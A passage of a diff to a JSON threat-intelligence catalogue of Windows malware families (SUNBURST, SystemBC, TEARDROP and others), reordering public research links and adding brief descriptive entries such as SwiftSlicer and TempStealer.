"https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/", - "https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html", "https://netzpolitik.org/2021/dsirf-wir-enthuellen-den-staatstrojaner-subzero-aus-oesterreich/" ], "synonyms": [ @@ -43472,8 +45843,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.suceful", - "https://www.fireeye.com/blog/threat-research/2015/09/suceful_next_genera.html", - "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf" + "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf", + "https://www.fireeye.com/blog/threat-research/2015/09/suceful_next_genera.html" ], "synonyms": [], "type": [] @@ -43527,179 +45898,180 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunburst", + "https://www.cyberark.com/resources/threat-research-blog/golden-saml-revisited-the-solorigate-connection", + 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"https://www.splunk.com/en_us/blog/security/supernova-redux-with-a-generous-portion-of-masquerading.html", - "https://www.anquanke.com/post/id/226029", - "https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis", - "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", - "https://www.solarwinds.com/securityadvisory/faq", - "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan", - "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", - "https://www.trendmicro.com/en_us/research/20/l/overview-of-recent-sunburst-targeted-attacks.html", "https://github.com/fireeye/sunburst_countermeasures/pull/5", + "https://www.solarwinds.com/securityadvisory/faq", + "https://github.com/fireeye/sunburst_countermeasures", + "https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a", + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "https://labs.sentinelone.com/solarwinds-understanding-detecting-the-supernova-webshell-trojan/", + "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a", + "https://unit42.paloaltonetworks.com/solarstorm-supernova", + "https://www.splunk.com/en_us/blog/security/detecting-supernova-malware-solarwinds-continued.html", + "https://www.splunk.com/en_us/blog/security/supernova-redux-with-a-generous-portion-of-masquerading.html", + "https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group", + "https://us-cert.cisa.gov/ncas/alerts/aa21-008a", + "https://unit42.paloaltonetworks.com/solarstorm-supernova/", + "https://www.trendmicro.com/en_us/research/20/l/overview-of-recent-sunburst-targeted-attacks.html", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://labs.sentinelone.com/solarwinds-understanding-detecting-the-supernova-webshell-trojan/" + "https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan", + "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", + "https://www.anquanke.com/post/id/226029", + "https://www.solarwinds.com/securityadvisory" ], "synonyms": [], "type": [] @@ -43830,11 +46184,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.suppobox", - "https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf", - "https://www.justice.gov/opa/pr/two-romanian-cybercriminals-convicted-all-21-counts-relating-infecting-over-400000-victim", "https://www.symantec.com/connect/blogs/trojanbayrob-strikes-again-1", + "https://www.justice.gov/opa/pr/two-romanian-cybercriminals-convicted-all-21-counts-relating-infecting-over-400000-victim", "https://www.symantec.com/connect/blogs/bayrob-three-suspects-extradited-face-charges-us", - "https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf" + "https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf", + "https://media.blackhat.com/us-13/US-13-Geffner-End-To-End-Analysis-of-a-Domain-Generating-Algorithm-Malware-Family-WP.pdf" ], "synonyms": [ "Bayrob", @@ -43855,15 +46209,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "dd919e75-57e8-4e5c-9451-8be6e734f1f3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "8666afcc-8cc2-4856-83de-b7e8b4309367", "value": "surtr" }, @@ -43872,8 +46217,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready", - "https://www.socinvestigation.com/new-svcready-malware-loads-from-word-doc-properties-detection-response/", - "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/" + "https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/", + "https://www.socinvestigation.com/new-svcready-malware-loads-from-word-doc-properties-detection-response/" ], "synonyms": [], "type": [] @@ -43894,6 +46239,23 @@ "uuid": "63657a3b-1f8f-422d-80de-fe4644f5d7ba", "value": "swen" }, + { + "description": "According to ESET, this is a wiper written in Go, that was deployed against an Ukrainian organization on January 25th 2023 through Group Policy, which suggests that the attackers had taken control of the victim’s Active Directory environment.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.swiftslicer", + "https://www.welivesecurity.com/2023/01/27/swiftslicer-new-destructive-wiper-malware-ukraine/", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://twitter.com/ESETresearch/status/1618960022150729728" + ], + "synonyms": [ + "JaguarBlade" + ], + "type": [] + }, + "uuid": "dba43d45-053f-4225-b813-ff7727b2b7d2", + "value": "SwiftSlicer" + }, { "description": "", "meta": { @@ -43904,15 +46266,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "96fb29fa-7c3a-4124-baf5-cc5f99b2a05f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "2112870f-06f1-44a9-9c43-6cc4fb90e295", "value": "Sword" }, @@ -43921,13 +46274,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sykipot", + "https://www.symantec.com/connect/blogs/sykipot-attacks", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-edison", "https://www.alienvault.com/blogs/labs-research/sykipot-is-back", "https://community.rsa.com/thread/185437", - "https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/", - "https://www.secureworks.com/research/threat-profiles/bronze-edison", - "https://www.symantec.com/connect/blogs/sykipot-attacks" + "https://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/" ], "synonyms": [ "Wkysol", @@ -43943,8 +46296,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.synack", - "https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/", - "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/" + "https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/", + "https://therecord.media/synack-ransomware-gang-releases-decryption-keys-for-old-victims/" ], "synonyms": [], "type": [] @@ -43995,9 +46348,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf", "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", - "https://securelist.com/analysis/publications/69953/the-naikon-apt/", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf" + "https://securelist.com/analysis/publications/69953/the-naikon-apt/" ], "synonyms": [], "type": [] @@ -44010,9 +46363,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon", + "http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/", "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/", - "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/", - "http://blog.trendmicro.com/trendlabs-security-intelligence/syscon-backdoor-uses-ftp-as-a-cc-channel/" + "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" ], "synonyms": [], "type": [] @@ -44035,13 +46388,13 @@ "value": "SysGet" }, { - "description": "", + "description": "Sysjoker is a backdoor malware that was first discovered in December 2021 by Intezer. It is sophisticated and written from scratch in C++. Sysjoker is a cross-platform malware that has Linux, Windows, and macOS variants. Possible attack vectors for Sysjoker are email attachments, malicious advertisements, and trojanized software.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysjoker", + "https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html", "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", - "https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/", - "https://blogs.vmware.com/security/2022/03/%e2%80%afsysjoker-an-analysis-of-a-multi-os-rat.html" + "https://www.bleepingcomputer.com/news/security/new-sysjoker-backdoor-targets-windows-macos-and-linux/" ], "synonyms": [], "type": [] @@ -44055,8 +46408,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.syskit", "https://twitter.com/QW5kcmV3/status/1176861114535165952", - "https://www.darkreading.com/threat-intelligence/iranian-government-hackers-target-us-veterans/d/d-id/1335897", "https://www.proofpoint.com/us/blog/threat-insight/i-knew-you-were-trouble-ta456-targets-defense-contractor-alluring-social-media", + "https://www.darkreading.com/threat-intelligence/iranian-government-hackers-target-us-veterans/d/d-id/1335897", "https://about.fb.com/news/2021/07/taking-action-against-hackers-in-iran/", "https://www.symantec.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain", "https://blog.talosintelligence.com/2019/09/tortoiseshell-fake-veterans.html" @@ -44117,25 +46470,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc", - "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", - "https://news.sophos.com/en-us/2020/12/16/systembc/", "https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders", - "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", - "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", - "https://asec.ahnlab.com/en/33600/", - "https://www.bitsight.com/blog/emotet-botnet-rises-again", - "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", "https://www.intel471.com/blog/Cobalt-strike-cybercriminals-trickbot-qbot-hancitor", - "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/", "https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a", - "https://www.bitsight.com/blog/systembc-multipurpose-proxy-bot-still-breathes", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", "https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis", - "https://www.mandiant.com/resources/chasing-avaddon-ransomware", "https://www.proofpoint.com/us/threat-insight/post/systembc-christmas-july-socks5-malware-and-exploit-kits", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.bitsight.com/blog/emotet-botnet-rises-again", + "https://news.sophos.com/en-us/2020/12/16/systembc/", + "https://community.riskiq.com/article/47766fbd", + "https://www.bitsight.com/blog/systembc-multipurpose-proxy-bot-still-breathes", + "https://www.mandiant.com/resources/chasing-avaddon-ransomware", + "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", + "https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis", + "https://isc.sans.edu/forums/diary/Excel+spreadsheets+push+SystemBC+malware/27060/", + "https://asec.ahnlab.com/en/33600/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://www.intrinsec.com/proxynotshell-owassrf-merry-xchange/", + "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/", + "https://www.cisa.gov/uscert/ncas/alerts/aa22-249a" ], "synonyms": [ "Coroxy" @@ -44150,10 +46507,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.szribi", - 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"https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html", - "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "https://www.macnica.net/file/mpressioncss_2018-1h-report_mnc_rev3_nopw.pdf", + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://documents.trendmicro.com/assets/wp/wp-detecting-apt-activity-with-network-traffic-analysis.pdf", + "https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", "https://blog.reversinglabs.com/blog/taidoor-a-truly-persistent-threat", - "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf", "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", "http://contagiodump.blogspot.com/2011/10/sep-28-cve-2010-3333-manuscript-with.html", + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf", "https://www.nttsecurity.com/docs/librariesprovider3/resources/taidoor%E3%82%92%E7%94%A8%E3%81%84%E3%81%9F%E6%A8%99%E7%9A%84%E5%9E%8B%E6%94%BB%E6%92%83%E8%A7%A3%E6%9E%90%E3%83%AC%E3%83%9D%E3%83%BC%E3%83%88_v1" ], "synonyms": [ @@ -44204,15 +46552,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "cda7d605-23d0-4f93-a585-1276f094c04a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "94323b32-9566-450b-8480-5f9f53b57948", "value": "taidoor" }, @@ -44235,8 +46574,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.taleret", - "http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html", - "https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html" + "https://www.fireeye.com/blog/threat-research/2013/09/evasive-tactics-taidoor-3.html", + "http://contagioexchange.blogspot.com/2013/08/taleret-strings-apt-1.html" ], "synonyms": [], "type": [] @@ -44265,15 +46604,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "b7b4c682-090b-4da2-abc2-541fd3157579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "71e77349-98f5-49c6-bff7-6ed3b3d79410", "value": "Tapaoux" }, @@ -44282,12 +46612,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany", - "https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/", "https://www.bleepingcomputer.com/news/security/free-decryptor-released-for-targetcompany-ransomware-victims/", + "https://decoded.avast.io/threatresearch/decrypted-targetcompany-ransomware/", + "https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html", + "https://www.sangfor.com/blog/cybersecurity/new-threat-mallox-ransomware", "https://id-ransomware.blogspot.com/2021/06/tohnichi-ransomware.html", - "https://securityaffairs.co/wordpress/127761/malware/targetcompany-ransomware-decryptor.html" + "https://blog.cyble.com/2022/12/08/mallox-ransomware-showing-signs-of-increased-activity/", + "https://asec.ahnlab.com/en/39152/" ], "synonyms": [ + "Fargo", + "Mallox", "Tohnichi" ], "type": [] @@ -44313,12 +46648,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.taurus_stealer", - "https://www.zscaler.com/blogs/research/taurus-new-stealer-town", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://blog.minerva-labs.com/taurus-stealers-evolution", + "https://www.aon.com/cyber-solutions/aon_cyber_labs/agentvx-and-taurus/", "https://blog.morphisec.com/google-ppc-ads-deliver-redline-taurus-and-mini-redline-infostealers", "https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/an-in-depth-analysis-of-the-new-taurus-stealer/", - "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md", - "https://blog.minerva-labs.com/taurus-stealers-evolution" + "https://www.zscaler.com/blogs/research/taurus-new-stealer-town", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0802.pdf", + "https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/Additional%20Analysis/UnknownTA/2020-09-07/Analysis.md" ], "synonyms": [], "type": [] @@ -44342,13 +46678,14 @@ "value": "TClient" }, { - "description": "", + "description": "F-Secure described tDiscoverer (also known as HammerDuke) as interesting because it is written in .NET, and even more so because of its occasional use of Twitter as a C&C communication channel. Some HammerDuke variants only contain a hardcoded C&C server address from which they will retrieve commands, but other HammerDuke variants will first use a custom algorithm to generate a Twitter account name based on the current date. If the account exists, HammerDuke will then search for tweets from that account with links to image files that contain embedded commands for the toolset to execute.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tdiscoverer", + "https://securityintelligence.com/hammertoss-what-me-worry/", "https://www.youtube.com/watch?v=UE9suwyuic8", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", - "https://securityintelligence.com/hammertoss-what-me-worry/" + "https://mrtiepolo.medium.com/sophisticated-apt29-campaign-abuses-notion-api-to-target-the-european-commission-200188059f58", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf" ], "synonyms": [ "HAMMERTOSS", @@ -44393,9 +46730,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teamspy", "https://thedfirreport.com/2020/04/24/ursnif-via-lolbins/", - "https://www.cyber.nj.gov/threat-center/threat-profiles/trojan-variants/spy-agent", + "https://www.deepinstinct.com/blog/the-russian-spyagent-a-decade-later-and-rat-tools-remain-at-risk", + "https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging", "https://blog.avast.com/a-deeper-look-into-malware-abusing-teamviewer", - "https://blog.trendmicro.com/trendlabs-security-intelligence/unsupported-teamviewer-versions-exploited-backdoors-keylogging" + "https://www.cyber.nj.gov/threat-center/threat-profiles/trojan-variants/spy-agent" ], "synonyms": [ "TVRAT", @@ -44412,51 +46750,42 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teardrop", - "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", + "https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714", + "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", "https://www.brighttalk.com/webcast/7451/462719", - "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", + "https://github.com/fireeye/sunburst_countermeasures", "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/", - "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://www.mandiant.com/resources/unc2452-merged-into-apt29", + "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", + "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", + "https://twitter.com/TheEnergyStory/status/1346096298311741440", + "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds", + "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b", "https://twitter.com/craiu/status/1339954817247158272", "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", - "https://blog.bushidotoken.net/2022/07/space-invaders-cyber-threats-that-are.html", - "https://msrc-blog.microsoft.com/2020/12/21/december-21st-2020-solorigate-resource-center/", - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware", - "https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/", - "https://github.com/fireeye/sunburst_countermeasures", - "https://medium.com/mitre-attack/identifying-unc2452-related-techniques-9f7b6c7f3714", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/", - "https://unit42.paloaltonetworks.com/atoms/solarphoenix/", - "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://unit42.paloaltonetworks.com/solarstorm-supply-chain-attack-timeline", - "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/sunburst-supply-chain-attack-solarwinds", - "https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate", - "https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more", - "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", "https://www.youtube.com/watch?v=LA-XE5Jy2kU", "https://blog.securehat.co.uk/malware-analysis/extracting-the-cobalt-strike-config-from-a-teardrop-loader", + "https://www.sans.org/webcasts/contrarian-view-solarwinds-119515", + "https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack", "https://www.youtube.com/watch?v=GfbxHy6xnbA", - "https://twitter.com/TheEnergyStory/status/1346096298311741440", + "https://file2.api.drift.com/download/drift-prod-file-uploads/417f%2F417f74ae8ddd24aa7c2b43a23093983f/Supply%20Chain%20Attacks_%20Cyber%20Criminals%20Target%20the%20Weakest%20Link.pdf", + "https://www.accenture.com/us-en/blogs/cyber-defense/threat-intel-takeaways-solarigate", + "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", + "https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", "https://twitter.com/TheEnergyStory/status/1342041055563313152", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-039b" + "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware", + "https://unit42.paloaltonetworks.com/atoms/solarphoenix/", + "https://www.mandiant.com/resources/unc2452-merged-into-apt29", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "aba3fd7d-87cc-4266-82a1-d458ae299266", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "efa01fef-7faf-4bb2-8630-b3a237df882a", "value": "TEARDROP" }, @@ -44504,11 +46833,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.telebot", - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks", + "https://www.secureworks.com/research/threat-profiles/iron-viking", "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-old-dogs-new-tricks.pdf", - "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine", - "https://www.secureworks.com/research/threat-profiles/iron-viking" + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", + "http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks" ], "synonyms": [], "type": [] @@ -44521,9 +46850,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.teledoor", - "http://blog.talosintelligence.com/2017/07/the-medoc-connection.html", "https://www.secureworks.com/research/threat-profiles/iron-viking", - "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/" + "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/", + "http://blog.talosintelligence.com/2017/07/the-medoc-connection.html" ], "synonyms": [], "type": [] @@ -44544,13 +46873,39 @@ "uuid": "48352761-a92f-43b4-931d-249ac9eae8b2", "value": "TelegramGrabber" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.telemiris", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f39400a3-3b27-4dc6-bccd-aa277ca99f28", + "value": "Telemiris" + }, + { + "description": "Cisco Talos reports that this is a data exfiltration tool used by TA505.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.teleport", + "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b6a2a1ea-6cdb-4cbd-a9a6-539c7db1c6de", + "value": "Teleport" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.tellyouthepass", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks", - "https://www.crowdstrike.com/blog/tellyouthepass-ransomware-analysis-reveals-modern-reinterpretation-using-golang/" + "https://www.crowdstrike.com/blog/tellyouthepass-ransomware-analysis-reveals-modern-reinterpretation-using-golang/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks" ], "synonyms": [], "type": [] @@ -44570,15 +46925,28 @@ "uuid": "26b2c2c0-036e-4e3a-a465-71a391046b74", "value": "Tempedreve" }, + { + "description": "According to Cyble, this is a stealer targeting several crypto currency wallets along browser data.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.temp_stealer", + "https://blog.cyble.com/2022/10/20/infostealer-distributed-using-bundled-installer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a27b7e55-6036-4c4a-96b2-0a99df878fe0", + "value": "TempStealer" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.terminator_rat", - "https://www.welivesecurity.com/wp-content/uploads/2014/01/Advanced-Persistent-Threats.pdf", - "https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf", "https://documents.trendmicro.com/assets/wp/wp-fakem-rat.pdf", - "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html" + 